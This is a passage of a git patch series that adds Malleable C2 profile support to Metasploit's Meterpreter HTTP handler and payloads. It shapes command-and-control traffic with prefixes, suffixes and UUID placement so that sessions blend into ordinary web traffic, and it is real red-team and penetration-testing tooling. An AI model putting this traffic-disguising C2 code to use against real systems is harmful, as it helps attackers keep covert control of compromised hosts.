@@ def to_tlv append_data = client_output.get_directive('append').map{|d|d.args[0]}.join("") post_tlv.add_tlv(MET::TLV_TYPE_C2_SUFFIX, append_data) unless append_data.empty? } + + client.get_section('id') {|client_id| + post_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_GET, client_id.get_directive('parameter')[0]) if client_id.has_directive('parameter') + post_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_HEADER, client_id.get_directive('header')[0]) if client_id.has_directive('header') + # assume uri-append for POST otherwise given that we always put the TLV payload in the body? + # TODO: add support for adding a form rather than just a payload body? + } } tlv.tlvs << post_tlv diff --git a/lib/rex/payloads/meterpreter/uri_checksum.rb b/lib/rex/payloads/meterpreter/uri_checksum.rb index 22f940754574b..6b55506c7ea79 100644 --- a/lib/rex/payloads/meterpreter/uri_checksum.rb +++ b/lib/rex/payloads/meterpreter/uri_checksum.rb @@ -33,16 +33,7 @@ module UriChecksum URI_CHECKSUM_UUID_MIN_LEN = URI_CHECKSUM_MIN_LEN + Msf::Payload::UUID::UriLength - # Map "random" URIs to static strings, allowing us to randomize - # the URI sent in the first request. - # - # @param uri [String] The URI string from the HTTP request - # @return [Hash] The attributes extracted from the URI - def process_uri_resource(uri) - - # Ignore non-base64url characters in the URL - uri_bare = uri.gsub(/[^a-zA-Z0-9_\-]/, '') - + def process_uuid_string(uri_bare) # Figure out the mode based on the checksum uri_csum = Rex::Text.checksum8(uri_bare) @@ -58,6 +49,30 @@ def process_uri_resource(uri) { uri: uri_bare, sum: uri_csum, uuid: uri_uuid, mode: uri_mode } end + # Map "random" URIs to static strings, allowing us to randomize + # the URI sent in the first request. + # + # @param uri [String] The URI string from the HTTP request + # @return [Hash] The attributes extracted from the URI + def process_uri_resource(uri) + # look for the UUID anywhere in the given URI, excluding the query string + uri.split('?')[0].split('/').each {|u| + # Ignore non-base64url characters in the URL + uri_bare = u.gsub(/[^a-zA-Z0-9_\-]/, '') + h = process_uuid_string(uri_bare) + return h if h[:uuid] + } + + nil + end + + # Map "random" cookies to static strings. + # + # @param cookie [String] The Cookie header string from the HTTP request. + # @return [Hash] The attributes extracted from the URI + def process_cookie_resource(uri) + end + # Create a URI that matches the specified checksum and payload uuid # # @param sum [Integer] A checksum mode value to use for the generated url diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index 3fe63a203dba3..c55fbe05879f8 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -143,12 +143,15 @@ module Meterpreter TLV_TYPE_C2_OTHER_HEADERS = TLV_META_TYPE_STRING | 715 # Custom headers TLV_TYPE_C2_UA = TLV_META_TYPE_STRING | 716 # User agent TLV_TYPE_C2_CERT_HASH = TLV_META_TYPE_RAW | 717 # Expected SSL certificate hash -TLV_TYPE_C2_PREFIX = TLV_META_TYPE_STRING | 718 # Data to prepend to the outgoing payload -TLV_TYPE_C2_SUFFIX = TLV_META_TYPE_STRING | 719 # Data to append to the outgoing payload +TLV_TYPE_C2_PREFIX = TLV_META_TYPE_RAW | 718 # Data to prepend to the outgoing payload +TLV_TYPE_C2_SUFFIX = TLV_META_TYPE_RAW | 719 # Data to append to the outgoing payload TLV_TYPE_C2_ENC = TLV_META_TYPE_UINT | 720 # Request encoding flags (Base64|URL|Base64url) TLV_TYPE_C2_SKIP_COUNT = TLV_META_TYPE_UINT | 721 # Number of bytes of the incoming payload to ignore before parsing TLV_TYPE_C2_REFERRER = TLV_META_TYPE_STRING | 722 # Referrer string TLV_TYPE_C2_ACCEPT_TYPES = TLV_META_TYPE_STRING | 723 # Accept types string +TLV_TYPE_C2_UUID_COOKIE = TLV_META_TYPE_STRING | 724 # Name of the cookie to put the UUID in +TLV_TYPE_C2_UUID_GET = TLV_META_TYPE_STRING | 725 # Name of the GET parameter to put the UUID in +TLV_TYPE_C2_UUID_HEADER = TLV_META_TYPE_STRING | 726 # Name of the header to put the UUID in # # C2 Encoding flags diff --git a/lib/rex/post/meterpreter/packet_dispatcher.rb b/lib/rex/post/meterpreter/packet_dispatcher.rb index 37f8d01abce15..766b64211c57d 100644 --- a/lib/rex/post/meterpreter/packet_dispatcher.rb +++ b/lib/rex/post/meterpreter/packet_dispatcher.rb @@ -710,16 +710,18 @@ def log_packet_to_file(packet, packet_type) end module HttpPacketDispatcher + def connection_uuid + self.conn_id.to_s.split('?')[0].split('/').compact.last.gsub(/(^\/|\/$)/, '') + end + def initialize_passive_dispatcher super - # Ensure that there is only one leading and trailing slash on the URI - resource_uri = "/" + self.conn_id.to_s.gsub(/(^\/|\/$)/, '') + "/" self.passive_service = self.passive_dispatcher - self.passive_service.remove_resource(resource_uri) - self.passive_service.add_resource(resource_uri, + self.passive_service.remove_resource(self.connection_uuid) + self.passive_service.add_resource(self.connection_uuid, 'Proc' => Proc.new { |cli, req| on_passive_request(cli, req) }, - 'VirtualDirectory' => true + 'VirtualDirectory' => true, ) # Add a reference count to the handler @@ -728,9 +730,7 @@ def initialize_passive_dispatcher def shutdown_passive_dispatcher if self.passive_service - # Ensure that there is only one leading and trailing slash on the URI - resource_uri = "/" + self.conn_id.to_s.gsub(/(^\/|\/$)/, '') + "/" - self.passive_service.remove_resource(resource_uri) if self.passive_service + self.passive_service.remove_resource(self.connection_uuid) if self.passive_service self.passive_service.deref self.passive_service = nil diff --git a/lib/rex/proto/http/server.rb b/lib/rex/proto/http/server.rb index aa75aecc2c90c..e3ec72b006a41 100644 --- a/lib/rex/proto/http/server.rb +++ b/lib/rex/proto/http/server.rb @@ -279,19 +279,32 @@ def dispatch_request(cli, request) cli.keepalive = true end - # Search for the resource handler for the requested URL. This is pretty - # inefficient right now, but we can spruce it up later. - p = nil - len = 0 - root = nil - - resources.each_pair { |k, val| - if (request.resource =~ /^#{k}/ and k.length > len) - p = val - len = k.length - root = k - end - } + #STDERR.puts("Resources: #{resources.inspect}\n") + + # Direct lookup on the last part of the URI, if any, will work + # to find a handler based on the connection ID because we don't + # ever have IDs that have slashes, so it's not possible to overlap + # with handlers of the same name. + cid = request.resource.split('?')[0].split('/').compact.last + if resources[cid] + p = resources[cid] + len = cid.length + root = request.resource + else + # Search for the resource handler for the requested URL. This is pretty + # inefficient right now, but we can spruce it up later. + p = nil + len = 0 + root = nil + + resources.each_pair { |k, val| + if (request.resource =~ /^#{k}/ and k.length > len) + p = val + len = k.length + root = k + end + } + end if (p) # Create an instance of the handler for this resource From fe7705dea8ae7117faf5fb4d5e6bffa79c83dd78 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Tue, 15 Jul 2025 11:57:37 +1000 Subject: [PATCH 03/21] Payload wrapping support and more * Supporting "wrapping" and "unwrapping" of payloads based on the C2 profile, which means that suffixes and prefixes are used based on what the configuration indicates. * Made sure taht the debug_build flag is passed through on HTTP/S payloads. * push details of the C2 profile into the meterp client so that required details can be easily accessed. --- lib/msf/core/handler/reverse_http.rb | 4 +- lib/msf/core/payload/malleable_c2.rb | 13 +++-- lib/rex/payloads/meterpreter/config.rb | 3 -- lib/rex/post/meterpreter/client.rb | 47 +++++++++++++++++++ lib/rex/post/meterpreter/packet_dispatcher.rb | 9 ++-- 5 files changed, 66 insertions(+), 10 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 6860d2389a719..7ed33e9b9d1bb 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -445,7 +445,9 @@ def on_request(cli, req) :retry_total => datastore['SessionRetryTotal'].to_i, :retry_wait => datastore['SessionRetryWait'].to_i, :ssl => ssl?, - :payload_uuid => uuid + :payload_uuid => uuid, + :c2_profile => datastore['MALLEABLEC2'] || '', + :debug_build => datastore['MeterpreterDebugBuild'] || false, } create_session(cli, session_opts) diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index 01a44fd7f2491..b5955b8978636 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -112,6 +112,11 @@ def initialize @sections = [] end + def method_missing(name, *args) + name = name.to_s.gsub('_', '-') + get_section(name) || get_set(name) + end + def get_set(key) val = @sets.find {|s| s.key == key.downcase}&.value if block_given? && !val.nil? @@ -139,9 +144,6 @@ def uris self.get_section('http-post') {|http_post| post_uri = http_post.get_set('uri') } - STDERR.puts("base uri: #{base_uri}\n") - STDERR.puts("get uri: #{get_uri}\n") - STDERR.puts("post uri: #{post_uri}\n") [base_uri, get_uri, post_uri].compact end @@ -247,6 +249,11 @@ def initialize(name) @sections = [] end + def method_missing(name, *args) + name = name.to_s.gsub('_', '-') + get_section(name) || get_directive(name) || get_set(name) + end + def get_set(key) val = @entries.find {|s| s.kind_of?(ParsedSet) && s.key == key.downcase}&.value if block_given? && !val.nil? diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index b63139c63824f..0f00d5f731612 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -48,7 +48,6 @@ def to_ascii(item, size) def add_session_tlv(tlv, opts) uuid = opts[:uuid].to_raw - STDERR.puts("UUID: #{uuid.inspect}\n") exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]] # if no session guid is given then we'll just pass the blank @@ -60,7 +59,6 @@ def add_session_tlv(tlv, opts) end tlv.add_tlv(MET::TLV_TYPE_EXITFUNC, exit_func) - STDERR.puts("Sess Exp: #{opts[:expiration]}\n") tlv.add_tlv(MET::TLV_TYPE_SESSION_EXPIRY, opts[:expiration]) tlv.add_tlv(MET::TLV_TYPE_UUID, uuid) tlv.add_tlv(MET::TLV_TYPE_SESSION_GUID, session_guid) @@ -162,7 +160,6 @@ def config_block # comms handle needs to have space added, as this is where things are patched by the stager comms_handle = "\x00" * 8 config_bytes = config_packet.to_r - STDERR.puts("Config block length: #{config_bytes.length}\n#{config_bytes.inspect}\n") comms_handle + config_bytes end diff --git a/lib/rex/post/meterpreter/client.rb b/lib/rex/post/meterpreter/client.rb index 51c94ae12bfd0..23c42905c5630 100644 --- a/lib/rex/post/meterpreter/client.rb +++ b/lib/rex/post/meterpreter/client.rb @@ -115,6 +115,44 @@ def cleanup_meterpreter shutdown_tlv_logging end + # + # Wrap the given packet data with any prefixes and suffixes that are stored in + # the associated C2 profile server configuration (if it exists) + # + def wrap_packet(raw_bytes) + if self.c2_profile + # TODO: cache the loaded wrappers to avoid parsing with every packet + prepends = self.c2_profile.http_get&.server&.output&.prepend || [] + prefix = prepends.reverse.map {|p| p.args[0]}.join('') + appends = self.c2_profile.http_get&.server&.output&.append || [] + suffix = appends.map {|p| p.args[0]}.join('') + raw_bytes = prefix + raw_bytes + suffix + end + raw_bytes + end + + # + # Unwrap the given packet data from any prefixes and suffixes that are stored in + # the associated C2 profile client configuration (if it exists) + # + def unwrap_packet(raw_bytes) + if self.c2_profile + # TODO: cache the loaded wrappers to avoid parsing with every packet + prepends = self.c2_profile.http_post&.client&.output&.prepend || [] + prefix = prepends.reverse.map {|p| p.args[0]}.join('') + unless prefix.empty? || (raw_bytes[0, prefix.length] <=> prefix) != 0 + raw_bytes = raw_bytes[prefix.length, raw_bytes.length] + end + + appends = self.c2_profile.http_post&.client&.output&.append || [] + suffix = appends.map {|p| p.args[0]}.join('') + unless suffix.empty? || (raw_bytes[-suffix.length, raw_bytes.length] <=> suffix) != 0 + raw_bytes = raw_bytes[0, raw_bytes.length - suffix.length] + end + end + raw_bytes + end + # # Initializes the meterpreter client instance # @@ -133,6 +171,11 @@ def init_meterpreter(sock,opts={}) self.url = opts[:url] self.ssl = opts[:ssl] + unless opts[:c2_profile].empty? + parser = Msf::Payload::MalleableC2::Parser.new + self.c2_profile = parser.parse(opts[:c2_profile]) + end + self.pivot_session = opts[:pivot_session] if self.pivot_session self.expiration = self.pivot_session.expiration @@ -500,6 +543,10 @@ def unicode_filter_decode(str) # attr_accessor :last_checkin # + # Reference to the c2 profile instance associated with this connection, if any. + # + attr_accessor :c2_profile + # # Whether or not to use a debug build for loaded extensions # attr_accessor :debug_build diff --git a/lib/rex/post/meterpreter/packet_dispatcher.rb b/lib/rex/post/meterpreter/packet_dispatcher.rb index 766b64211c57d..296e042d09bd3 100644 --- a/lib/rex/post/meterpreter/packet_dispatcher.rb +++ b/lib/rex/post/meterpreter/packet_dispatcher.rb @@ -749,8 +749,9 @@ def on_passive_request(cli, req) self.last_checkin = ::Time.now if req.method == 'GET' - rpkt = send_queue.shift - resp.body = rpkt || '' + rpkt = send_queue.shift || '' + rpkt = self.wrap_packet(rpkt) if self.respond_to?(:wrap_packet) + resp.body = rpkt begin cli.send_response(resp) rescue ::Exception => e @@ -760,8 +761,10 @@ def on_passive_request(cli, req) else resp.body = "" if req.body and req.body.length > 0 + body = req.body + body = self.unwrap_packet(body) if self.respond_to?(:unwrap_packet) packet = Packet.new(0) - packet.add_raw(req.body) + packet.add_raw(body) packet.parse_header! packet = decrypt_inbound_packet(packet) dispatch_inbound_packet(packet) From f2d31207721180350ee524f822bd99076371aaa1 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Wed, 16 Jul 2025 14:25:55 +1000 Subject: [PATCH 04/21] Add C2 packet support to the stageless transition Stageless payloads start with an :init_connect which needs special consideration given that it's just redirected. There's no client instance at that point, so there's no C2 associated with it, so we have to just manually wrap the outbound packet so that things work correctly. --- lib/msf/core/handler/reverse_http.rb | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 7ed33e9b9d1bb..f74089697a83a 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -408,6 +408,15 @@ def on_request(cli, req) pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/") resp.body = pkt.to_r + # this is gross, but we don't have a "client" yet, and so we have to hard-code nasty packet-wrapping stuff here :( + c2_profile = datastore['MALLEABLEC2'] || '' + + unless c2_profile.empty? + parser = Msf::Payload::MalleableC2::Parser.new + profile = parser.parse(c2_profile) + resp.body = profile.wrap_outbound_get(resp.body) + end + when :init_python, :init_native, :init_java, :connect # TODO: at some point we may normalise these three cases into just :init From 2d7f8b48a17c8a47eeb8ca0a7547cc8588cd639c Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Wed, 16 Jul 2025 14:27:58 +1000 Subject: [PATCH 05/21] Tidy and refactor of some C2 code Includes removal of the referrer and accept types specific TLV values, because they can be treated like any other header, despite what the MSDN documentation says about the HTTP APIs. Moved packet wrapping to somewhere reusable. Added support for binary-escaped strings in C2 profile values (eg. "\x00"). --- lib/msf/core/payload/malleable_c2.rb | 47 +++++++++++++++++++++++--- lib/rex/payloads/meterpreter/config.rb | 3 -- lib/rex/post/meterpreter/client.rb | 24 ++----------- lib/rex/post/meterpreter/packet.rb | 10 ++---- 4 files changed, 47 insertions(+), 37 deletions(-) diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index b5955b8978636..98c48f36710ca 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -8,6 +8,13 @@ require 'strscan' require 'rex/post/meterpreter/packet' +# Handle escape sequences in the strings provided by the c2 profile +class String + def from_c2_string_value + self.gsub(/\\x(..)/) {|b| [b[2, 4].to_i(16)].pack('C')} + end +end + module Msf::Payload::MalleableC2 MET = Rex::Post::Meterpreter @@ -69,7 +76,6 @@ class Lexer ] def initialize(file) - #@text = text @tokens = [] tokenize(File.read(file)) end @@ -148,6 +154,29 @@ def uris [base_uri, get_uri, post_uri].compact end + def wrap_outbound_get(raw_bytes) + prepends = self.http_get&.server&.output&.prepend || [] + prefix = prepends.reverse.map {|p| p.args[0]}.join('') + appends = self.http_get&.server&.output&.append || [] + suffix = appends.map {|p| p.args[0]}.join('') + prefix + raw_bytes + suffix + end + + def unwrap_inbound_post(raw_bytes) + prepends = self.http_post&.client&.output&.prepend || [] + prefix = prepends.reverse.map {|p| p.args[0]}.join('') + unless prefix.empty? || (raw_bytes[0, prefix.length] <=> prefix) != 0 + raw_bytes = raw_bytes[prefix.length, raw_bytes.length] + end + + appends = self.http_post&.client&.output&.append || [] + suffix = appends.map {|p| p.args[0]}.join('') + unless suffix.empty? || (raw_bytes[-suffix.length, raw_bytes.length] <=> suffix) != 0 + raw_bytes = raw_bytes[0, raw_bytes.length - suffix.length] + end + raw_bytes + end + def to_tlv tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2) @@ -159,6 +188,11 @@ def to_tlv get_uri = http_get.get_set('uri') || c2_uri http_get.get_section('client') {|client| self.add_http_tlv(get_uri, client, get_tlv) + + prepends = self.http_get&.server&.output&.prepend || [] + prefix = prepends.reverse.map {|p| p.args[0]}.join('') + get_tlv.add_tlv(MET::TLV_TYPE_C2_SKIP_COUNT, prefix.length) unless prefix.length == 0 + client.get_section('metadata') {|meta| enc_flags = 0 enc_flags |= MET::C2_ENCODING_FLAG_B64 if meta.has_directive('base64') @@ -170,7 +204,7 @@ def to_tlv # assume uri-append for POST otherwise. } } - # TODO: add client config to server and vice versa + tlv.tlvs << get_tlv } @@ -178,9 +212,12 @@ def to_tlv post_tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2_POST) post_uri = http_post.get_set('uri') || c2_uri http_post.get_section('client') {|client| - # TODO: add client config to server and vice versa self.add_http_tlv(post_uri, client, post_tlv) + prepends = self.http_get&.server&.output&.prepend || [] + prefix = prepends.reverse.map {|p| p.args[0]}.join('') + post_tlv.add_tlv(MET::TLV_TYPE_C2_SKIP_COUNT, prefix.length) unless prefix.length == 0 + client.get_section('output') {|client_output| enc_flags = 0 enc_flags |= MET::C2_ENCODING_FLAG_B64 if client_output.has_directive('base64') @@ -237,7 +274,7 @@ class ParsedSet attr_accessor :key, :value def initialize(key, value) @key = key.downcase - @value = value + @value = value.from_c2_string_value end end @@ -285,7 +322,7 @@ class ParsedDirective attr_accessor :type, :args def initialize(type, args) @type = type.downcase - @args = args + @args = args.map {|a| a.from_c2_string_value} end end diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 0f00d5f731612..b623ce7acf361 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -86,9 +86,6 @@ def add_c2_tlv(tlv, opts) c2_tlv.add_tlv(MET::TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout]) c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_TOTAL, opts[:retry_total]) c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_WAIT, opts[:retry_wait]) - - # TODO: make sure all header types/etc are covered. - c2_tlv.add_tlv(MET::TLV_TYPE_C2_UA, opts[:ua]) unless (opts[:ua] || '').empty? end diff --git a/lib/rex/post/meterpreter/client.rb b/lib/rex/post/meterpreter/client.rb index 23c42905c5630..00e6c0ffd0dfe 100644 --- a/lib/rex/post/meterpreter/client.rb +++ b/lib/rex/post/meterpreter/client.rb @@ -120,14 +120,7 @@ def cleanup_meterpreter # the associated C2 profile server configuration (if it exists) # def wrap_packet(raw_bytes) - if self.c2_profile - # TODO: cache the loaded wrappers to avoid parsing with every packet - prepends = self.c2_profile.http_get&.server&.output&.prepend || [] - prefix = prepends.reverse.map {|p| p.args[0]}.join('') - appends = self.c2_profile.http_get&.server&.output&.append || [] - suffix = appends.map {|p| p.args[0]}.join('') - raw_bytes = prefix + raw_bytes + suffix - end + raw_bytes = self.c2_profile.wrap_outbound_get(raw_bytes) if self.c2_profile raw_bytes end @@ -136,20 +129,7 @@ def wrap_packet(raw_bytes) # the associated C2 profile client configuration (if it exists) # def unwrap_packet(raw_bytes) - if self.c2_profile - # TODO: cache the loaded wrappers to avoid parsing with every packet - prepends = self.c2_profile.http_post&.client&.output&.prepend || [] - prefix = prepends.reverse.map {|p| p.args[0]}.join('') - unless prefix.empty? || (raw_bytes[0, prefix.length] <=> prefix) != 0 - raw_bytes = raw_bytes[prefix.length, raw_bytes.length] - end - - appends = self.c2_profile.http_post&.client&.output&.append || [] - suffix = appends.map {|p| p.args[0]}.join('') - unless suffix.empty? || (raw_bytes[-suffix.length, raw_bytes.length] <=> suffix) != 0 - raw_bytes = raw_bytes[0, raw_bytes.length - suffix.length] - end - end + raw_bytes = self.c2_profile.unwrap_inbound_post(raw_bytes) if self.c2_profile raw_bytes end diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index c55fbe05879f8..21fef05e6c926 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -147,11 +147,9 @@ module Meterpreter TLV_TYPE_C2_SUFFIX = TLV_META_TYPE_RAW | 719 # Data to append to the outgoing payload TLV_TYPE_C2_ENC = TLV_META_TYPE_UINT | 720 # Request encoding flags (Base64|URL|Base64url) TLV_TYPE_C2_SKIP_COUNT = TLV_META_TYPE_UINT | 721 # Number of bytes of the incoming payload to ignore before parsing -TLV_TYPE_C2_REFERRER = TLV_META_TYPE_STRING | 722 # Referrer string -TLV_TYPE_C2_ACCEPT_TYPES = TLV_META_TYPE_STRING | 723 # Accept types string -TLV_TYPE_C2_UUID_COOKIE = TLV_META_TYPE_STRING | 724 # Name of the cookie to put the UUID in -TLV_TYPE_C2_UUID_GET = TLV_META_TYPE_STRING | 725 # Name of the GET parameter to put the UUID in -TLV_TYPE_C2_UUID_HEADER = TLV_META_TYPE_STRING | 726 # Name of the header to put the UUID in +TLV_TYPE_C2_UUID_COOKIE = TLV_META_TYPE_STRING | 722 # Name of the cookie to put the UUID in +TLV_TYPE_C2_UUID_GET = TLV_META_TYPE_STRING | 723 # Name of the GET parameter to put the UUID in +TLV_TYPE_C2_UUID_HEADER = TLV_META_TYPE_STRING | 724 # Name of the header to put the UUID in # # C2 Encoding flags @@ -987,8 +985,6 @@ def aes_decrypt(key, iv, data) # def to_r(session_guid = nil, key = nil) xor_key = (rand(254) + 1).chr + (rand(254) + 1).chr + (rand(254) + 1).chr + (rand(254) + 1).chr - # for debugging purposes - xor_key = "\x00" * 4 raw = (session_guid || NULL_GUID).dup tlv_data = GroupTlv.instance_method(:to_r).bind(self).call From 300d16e7cbc3ec04e7e0444e03852eb4aa827a2e Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Wed, 16 Jul 2025 14:29:29 +1000 Subject: [PATCH 06/21] Wire in support for C2 profiles in the x64 payload --- .../payloads/singles/windows/x64/meterpreter_reverse_http.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index 7ce487c5e1334..fb12df8e7c831 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -28,6 +28,7 @@ def initialize(info = {}) ) register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) ]) @@ -45,6 +46,7 @@ def generate(opts = {}) def generate_config(opts = {}) opts[:uuid] ||= generate_payload_uuid + opts[:c2_profile] = datastore['MALLEABLEC2'] # create the configuration block config_opts = { From 71d943d83570cd65f1413b0b3d0be631bc931e35 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Thu, 17 Jul 2025 11:37:19 +1000 Subject: [PATCH 07/21] Small code tidy --- lib/rex/post/meterpreter/packet.rb | 16 ++++++---------- 1 file changed, 6 insertions(+), 10 deletions(-) diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index 21fef05e6c926..25425dcece7a2 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -989,17 +989,13 @@ def to_r(session_guid = nil, key = nil) raw = (session_guid || NULL_GUID).dup tlv_data = GroupTlv.instance_method(:to_r).bind(self).call - if @type == PACKET_TYPE_CONFIG - raw << [ENC_FLAG_NONE, tlv_data].pack('NA*') + if @type != PACKET_TYPE_CONFIG && key && key[:key] && (key[:type] == ENC_FLAG_AES128 || key[:type] == ENC_FLAG_AES256) + # encrypt the data, but not include the length and type + iv, ciphertext = aes_encrypt(key[:key], tlv_data[HEADER_SIZE..-1]) + # now manually add the length/type/iv/ciphertext + raw << [key[:type], iv.length + ciphertext.length + HEADER_SIZE, self.type, iv, ciphertext].pack('NNNA*A*') else - if key && key[:key] && (key[:type] == ENC_FLAG_AES128 || key[:type] == ENC_FLAG_AES256) - # encrypt the data, but not include the length and type - iv, ciphertext = aes_encrypt(key[:key], tlv_data[HEADER_SIZE..-1]) - # now manually add the length/type/iv/ciphertext - raw << [key[:type], iv.length + ciphertext.length + HEADER_SIZE, self.type, iv, ciphertext].pack('NNNA*A*') - else - raw << [ENC_FLAG_NONE, tlv_data].pack('NA*') - end + raw << [ENC_FLAG_NONE, tlv_data].pack('NA*') end # return the xor'd result with the key From 42b027d829e9198194b5d37a765a05369661cbb8 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Thu, 17 Jul 2025 12:13:50 +1000 Subject: [PATCH 08/21] Small fix for non-c2 profile payloads --- lib/rex/post/meterpreter/client.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/client.rb b/lib/rex/post/meterpreter/client.rb index 00e6c0ffd0dfe..a13e73a4f2432 100644 --- a/lib/rex/post/meterpreter/client.rb +++ b/lib/rex/post/meterpreter/client.rb @@ -151,7 +151,7 @@ def init_meterpreter(sock,opts={}) self.url = opts[:url] self.ssl = opts[:ssl] - unless opts[:c2_profile].empty? + unless (opts[:c2_profile] || '').empty? parser = Msf::Payload::MalleableC2::Parser.new self.c2_profile = parser.parse(opts[:c2_profile]) end From d589da953146c03f91b45dd853ffb7d1adeecc18 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Wed, 23 Jul 2025 14:05:04 +1000 Subject: [PATCH 09/21] C2 profile persistence and better UUID handling Interim commit, contains code persists a C2 profile instance for reuse rather than having many being parsed all the time. Also begins work handling UUIDs outside of the URI. --- lib/msf/core/handler/reverse_http.rb | 40 ++++++----- lib/msf/core/payload/malleable_c2.rb | 26 +++++-- lib/rex/payloads/meterpreter/config.rb | 1 + lib/rex/payloads/meterpreter/uri_checksum.rb | 9 ++- lib/rex/post/meterpreter/client.rb | 5 +- lib/rex/post/meterpreter/client_core.rb | 71 ++++++++++---------- lib/rex/post/meterpreter/core_ids.rb | 2 +- lib/rex/post/meterpreter/packet.rb | 19 +----- spec/lib/rex/post/meterpreter/packet_spec.rb | 2 +- 9 files changed, 96 insertions(+), 79 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index f74089697a83a..5bb2f5b0f9885 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -206,18 +206,28 @@ def luri def all_uris all = [luri] - c2_profile = datastore['MALLEABLEC2'] || '' - unless c2_profile.empty? - parser = Msf::Payload::MalleableC2::Parser.new - profile = parser.parse(c2_profile) - uris = profile.uris.map {|u| construct_luri(u)} + if self.c2_profile + uris = self.c2_profile.uris.map {|u| construct_luri(u)} all.push(*uris) end all end + def c2_profile + unless @c2_profile_parsed + profile_path = datastore['MALLEABLEC2'] || '' + unless profile_path.empty? + parser = Msf::Payload::MalleableC2::Parser.new + @c2_profile_instance = parser.parse(profile_path) + end + c2_profile_parsed = true + end + @c2_profile_instance + end + + # Create an HTTP listener # # @return [void] @@ -342,7 +352,9 @@ def on_request(cli, req) # have to happen during the resource lookup instead of here, and # when on_request is called we pass the UUID in, if found - info = process_uri_resource(req.relative_resource) + #STDERR.puts("#{req.inspect}\n") + #req.uri_parts["QueryString"] + info = process_uri_resource(req.relative_resource) #|| process_query_string_resource(req.query_string) uuid = info[:uuid] if uuid @@ -404,18 +416,10 @@ def on_request(cli, req) # was generated on the fly. This means we form a new session for each. # Hurl a TLV back at the caller, and ignore the response - pkt = Rex::Post::Meterpreter::Packet.new(Rex::Post::Meterpreter::PACKET_TYPE_RESPONSE, Rex::Post::Meterpreter::COMMAND_ID_CORE_PATCH_URL) - pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/") + pkt = Rex::Post::Meterpreter::Packet.new(Rex::Post::Meterpreter::PACKET_TYPE_RESPONSE, Rex::Post::Meterpreter::COMMAND_ID_CORE_PATCH_UUID) + pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_C2_UUID, conn_id) resp.body = pkt.to_r - - # this is gross, but we don't have a "client" yet, and so we have to hard-code nasty packet-wrapping stuff here :( - c2_profile = datastore['MALLEABLEC2'] || '' - - unless c2_profile.empty? - parser = Msf::Payload::MalleableC2::Parser.new - profile = parser.parse(c2_profile) - resp.body = profile.wrap_outbound_get(resp.body) - end + resp.body = self.c2_profile.wrap_outbound_get(resp.body) if self.c2_profile when :init_python, :init_native, :init_java, :connect # TODO: at some point we may normalise these three cases into just :init @@ -455,7 +459,7 @@ def on_request(cli, req) :retry_wait => datastore['SessionRetryWait'].to_i, :ssl => ssl?, :payload_uuid => uuid, - :c2_profile => datastore['MALLEABLEC2'] || '', + :c2_profile => self.c2_profile, :debug_build => datastore['MeterpreterDebugBuild'] || false, } diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index 